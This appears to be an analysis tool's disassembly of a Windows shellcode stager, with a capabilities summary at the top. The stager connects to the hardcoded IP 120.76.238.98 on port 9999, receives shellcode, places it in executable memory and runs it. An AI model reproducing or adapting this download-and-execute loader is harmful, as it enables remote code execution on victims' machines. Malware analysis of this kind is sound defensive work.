Function at 0x401ab0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453969
mov eax, dword fs:[0]
push eax
mov eax, 0x2280
call fcn.0043b850
mov eax, dword [0x470bf4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2288], ecx
push 0x458e20
lea ecx, [ebp - 0x1e8]
call fcn.004024c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x208]
push eax
call fcn.00401810
add esp, 4
mov byte [ebp - 4], 1
call fcn.00401870
mov byte [ebp - 0x1ad], al
movzx ecx, byte [ebp - 0x1ad]
test ecx, ecx
je 0x401b45
push 0x4019b0
push 0x458de8
push 0x474cf0
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
jmp 0x401bc0
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x1e8]
push eax
call fcn.004019d0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x401b92
push 0x4019b0
push 0x458dd4
lea edx, [ebp - 0x1e8]
push edx
push 0x474cf0
call fcn.004042c0
add esp, 8
push eax
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
jmp 0x401bc0
push 0x4019b0
push 0x458dc0
lea eax, [ebp - 0x1e8]
push eax
push 0x474cf0
call fcn.004042c0
add esp, 8
push eax
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
lea ecx, [ebp - 0x1a4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401c2a
push 0x4019b0
push str.Failed_to_initialize_Winsock
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x224c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x224c]
jmp 0x4022b6
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffff
jne 0x401c9f
push 0x4019b0
push str.Failed_to_create_socket
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x2250], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2250]
jmp 0x4022b6
mov word [ebp - 0x1cc], 2
push 0x270f
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ca], ax
push str.120.76.238.98
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c8], eax
push 0x10
lea edx, [ebp - 0x1cc]
push edx
mov eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401d4d
push 0x4019b0
push str.Failed_to_connect_to_server
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x2254], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2254]
jmp 0x4022b6
lea ecx, [ebp - 0x2244]
call fcn.00402ae0
mov byte [ebp - 4], 2
push 0
push 0x2000
lea edx, [ebp - 0x2234]
push edx
mov eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2248], eax
cmp dword [ebp - 0x2248], 0
jle 0x401dc1
mov ecx, dword [ebp - 0x2248]
lea edx, [ebp + ecx - 0x2234]
push edx
lea eax, [ebp - 0x2234]
push eax
lea ecx, [ebp - 0x225c]
push ecx
lea ecx, [ebp - 0x2244]
call fcn.00402b30
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2244]
call fcn.004045d0
jmp 0x401d5c
cmp dword [ebp - 0x2248], 0xffffffff
jne 0x401de8
push 0x4019b0
push str.Error_receiving_data
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jne 0x401e78
push 0x4019b0
push str.Failed_to_load_kernel32.dll
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x2260], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2260]
jmp 0x4022b6
push 0x458d08
mov edx, dword [ebp - 0x1ec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x401efc
push 0x4019b0
push str.Failed_to_get_VirtualAlloc_address
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x2264], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2264]
jmp 0x4022b6
push 0x458cd8
mov eax, dword [ebp - 0x1ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x401f80
push 0x4019b0
push str.Failed_to_get_VirtualFree_address
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x2268], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2268]
jmp 0x4022b6
lea ecx, [ebp - 0x2244]
call fcn.00402ba0
movzx ecx, al
test ecx, ecx
je 0x401ff5
push 0x4019b0
push str.No_shellcode_data_received.
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x226c], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x226c]
jmp 0x4022b6
push 0x40
push 0x1000
lea ecx, [ebp - 0x2244]
call fcn.00402b60
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jne 0x402082
push 0x4019b0
push str.Failed_to_allocate_memory_for_shellcode
push 0x474c58
call fcn.00403fc0
add esp, 8
mov ecx, eax
call fcn.00402560
mov dword [ebp - 0x2270], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2270]
jmp 0x4022b6
lea ecx, [ebp - 0x2244]
call fcn.00402b60
push eax
push 0
lea ecx, [ebp - 0x2244]
call fcn.00402bc0
push eax
mov edx, dword [ebp - 0x1bc]
push edx
call fcn.0043b4e0
add esp, 0xc
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x230], eax
call dword [ebp - 0x230]
push 0x8000
push 0
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [ebp - 0x1b4]
mov dword [ebp - 0x2274], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2244]
call fcn.00402b10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x208]
call fcn.00402500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.00402500
mov eax, dword [ebp - 0x2274]
jmp 0x4022b6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043aec2
mov esp, ebp
pop ebp
ret